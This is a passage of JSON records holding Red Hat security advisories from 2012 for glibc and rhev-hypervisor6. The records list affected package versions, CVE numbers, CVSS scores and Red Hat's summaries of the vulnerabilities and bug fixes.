"2.12-1.47.el6_2.5", "arch": "src", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.src.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "x86_64", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6_2.5.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "ppc64", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "s390x", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6_2.5.s390x.rpm", "operator": "lt"}], "description": "The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs:\n\n* glibc had incorrect information for numeric separators and groupings for\nspecific French, Spanish, and German locales. Therefore, applications\nutilizing glibc's locale support printed numbers with the wrong separators\nand groupings when those locales were in use. With this update, the\nseparator and grouping information has been fixed. (BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\nincorrectly parse groups with more than 126 members, resulting in\napplications such as \"id\" failing to list all the groups a particular user\nwas a member of. With this update, group parsing has been fixed.\n(BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition\nwithin its own malloc routines. This could cause a multi-threaded\napplication to allocate more memory than was expected. With this update,\nthe race condition has been fixed, and malloc's behavior is now consistent\nwith the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\nenvironment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain backported\npatches to resolve these issues.\n", "reporter": "RedHat", "published": "2012-01-24T05:00:00", "type": "redhat", "title": "(RHSA-2012:0058) Moderate: glibc security and bug fix update", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029", "CVE-2011-4609"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2018-06-06T20:24:36", "id": "RHSA-2012:0058", "href": "https://access.redhat.com/errata/RHSA-2012:0058", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-09-09T07:20:00", "_object_types": ["robots.models.redhat.RedHatBulletin", "robots.models.base.Bulletin"], "enchantments_done": [], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "nscd", "packageFilename": "nscd-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-common", "packageFilename": "glibc-common-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.5-65.el5_7.3.i386.rpm", "arch": "i386", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "arch": "i686", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.src.rpm", "arch": "src", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-common", "packageFilename": "glibc-common-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "nscd", "packageFilename": "nscd-2.5-65.el5_7.3.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-common", "packageFilename": "glibc-common-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "nscd", "packageFilename": "nscd-2.5-65.el5_7.3.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.ppc64.rpm", "arch": "ppc64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.ppc64.rpm", "arch": "ppc64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.s390.rpm", "arch": "s390", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.s390.rpm", "arch": "s390", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-common", "packageFilename": "glibc-common-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "nscd", "packageFilename": "nscd-2.5-65.el5_7.3.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc", "packageFilename": "glibc-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "nscd", "packageFilename": "nscd-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-common", "packageFilename": "glibc-common-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.5-65.el5_7.3.ia64.rpm", "arch": "ia64", "operator": "lt"}], "description": "The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked\nlibraries. If an attacker could trick a user into running ldd on a\nmalicious binary, it could result in arbitrary code execution with the\nprivileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to crash\nor, potentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount\nhelper utilities, did not handle certain errors correctly when updating the\nmtab (mounted file systems table) file. If such utilities had the setuid\nbit set, a local attacker could use this flaw to corrupt the mtab file.\n(CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\nSecurity Team acknowledges Dan Rosenberg as the original reporter of\nCVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.\n", "reporter": "RedHat", "published": "2012-02-13T05:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "redhat", "title": "(RHSA-2012:0126) Moderate: glibc security update", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029", "CVE-2009-5064", "CVE-2010-0830", "CVE-2011-1089", "CVE-2011-4609"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2017-09-08T12:08:12", "id": "RHSA-2012:0126", "href": "https://access.redhat.com/errata/RHSA-2012:0126", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-06-07T05:58:26", "_object_types": ["robots.models.base.Bulletin", "robots.models.redhat.RedHatBulletin"], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "6", "packageVersion": "6.2-20120209.0.el6_2", "arch": "noarch", "packageName": "rhev-hypervisor6-tools", "packageFilename": "rhev-hypervisor6-tools-6.2-20120209.0.el6_2.noarch.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "6.2-20120209.0.el6_2", "arch": "noarch", "packageName": "rhev-hypervisor6", "packageFilename": "rhev-hypervisor6-6.2-20120209.0.el6_2.noarch.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "6.2-20120209.0.el6_2", "arch": "src", "packageName": "rhev-hypervisor6", "packageFilename": "rhev-hypervisor6-6.2-20120209.0.el6_2.src.rpm", "operator": "lt"}], "description": "The rhev-hypervisor6 package provides a Red Hat Enterprise Virtualization\nHypervisor ISO disk image. The Red Hat Enterprise Virtualization Hypervisor\nis a dedicated Kernel-based Virtual Machine (KVM) hypervisor. It includes\neverything necessary to run and manage virtual machines: A subset of the\nRed Hat Enterprise Linux operating environment and the Red Hat Enterprise\nVirtualization Agent.\n\nNote: Red Hat Enterprise Virtualization Hypervisor is only available for\nthe Intel 64 and AMD64 architectures with virtualization extensions.\n\nA heap overflow flaw was found in the way QEMU-KVM emulated the e1000\nnetwork interface card. A privileged guest user in a virtual machine whose\nnetwork interface is configured to use the e1000 emulated driver could use\nthis flaw to crash the host or, possibly, escalate their privileges on the\nhost. (CVE-2012-0029)\n\nAn information leak flaw was found in the SSL 3.0 protocol implementation\nin OpenSSL. Incorrect initialization of SSL record padding bytes could\ncause an SSL client or server to send a limited amount of possibly\nsensitive data to its SSL peer via the encrypted connection.\n(CVE-2011-4576)\n\nA denial of service flaw was found in the RFC 3779 implementation in\nOpenSSL. A remote attacker could use this flaw to make an application using\nOpenSSL exit unexpectedly by providing a specially-crafted X.509\ncertificate that has malformed RFC 3779 extension data. (CVE-2011-4577)\n\nIt was discovered that OpenSSL did not limit the number of TLS/SSL\nhandshake restarts required to support Server Gated Cryptography. A remote\nattacker could use this flaw to make a TLS/SSL server using OpenSSL consume\nan excessive amount of CPU by continuously restarting the handshake.\n(CVE-2011-4619)\n\nRed Hat would like to thank Nicolae Mogoreanu for reporting CVE-2012-0029.\n\nThis updated package provides updated components that include fixes for\nvarious security issues. These issues have no security impact on Red Hat\nEnterprise Virtualization Hypervisor itself, however. The security fixes\nincluded in this update address the following CVE numbers:\n\nCVE-2009-5029 and CVE-2011-4609 (glibc issues)\n\nCVE-2012-0056 (kernel issue)\n\nCVE-2011-4108 and CVE-2012-0050 (openssl issues)\n\nThis update also fixes the following bugs:\n\n* Previously, it was possible to begin a Hypervisor installation without\nany valid disks to install to.\n\nNow, if no valid disks are found for Hypervisor installation, a message is\ndisplayed informing the user that there are no valid disks for\ninstallation. (BZ#781471)\n\n* Previously, the user interface for the Hypervisor did not indicate\nwhether the system was registered with Red Hat Network (RHN) Classic or RHN\nSatellite. As a result, customers could not easily determine the\nregistration status of their Hypervisor installations.\n\nThe TUI has been updated to display the registration status of the\nHypervisor. (BZ#788223)\n\n* Previously, autoinstall would fail if the firstboot or reinstall options\nwere passed but local_boot or upgrade were not passed. Now, neither the\nlocal_boot or upgrade parameters are required for autoinstall. (BZ#788225)\n\nUsers of the Red Hat Enterprise Virtualization Hypervisor are advised to\nupgrade to this updated package, which fixes these issues.\n", "reporter": "RedHat", "published": "2012-02-15T05:00:00", "type": "redhat", "title": "(RHSA-2012:0109) Important: rhev-hypervisor6 security and bug fix update", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029", "CVE-2011-4108", "CVE-2011-4576", "CVE-2011-4577", "CVE-2011-4609", "CVE-2011-4619", "CVE-2012-0029", "CVE-2012-0050", "CVE-2012-0056"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2018-06-07T08:59:39", "id": "RHSA-2012:0109", "href": "https://access.redhat.com/errata/RHSA-2012:0109", "cvss": {"score": 7.4, "vector": "AV:ADJACENT_NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-09T07:19:42", "_object_types": ["robots.models.redhat.RedHatBulletin", "robots.models.base.Bulletin"], "enchantments_done": [], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "glibc-devel-2.3.4-2.57.i386.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i686", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-2.3.4-2.57.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-common-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-headers-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "nptl-devel-2.3.4-2.57.x86_64.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-devel-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-profile-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "glibc-utils-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "x86_64", "packageFilename": "nscd-2.3.4-2.57.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "src", "packageFilename": "glibc-2.3.4-2.57.src.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "glibc-headers-2.3.4-2.57.i386.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "glibc-profile-2.3.4-2.57.i386.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "nptl-devel-2.3.4-2.57.i386.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", 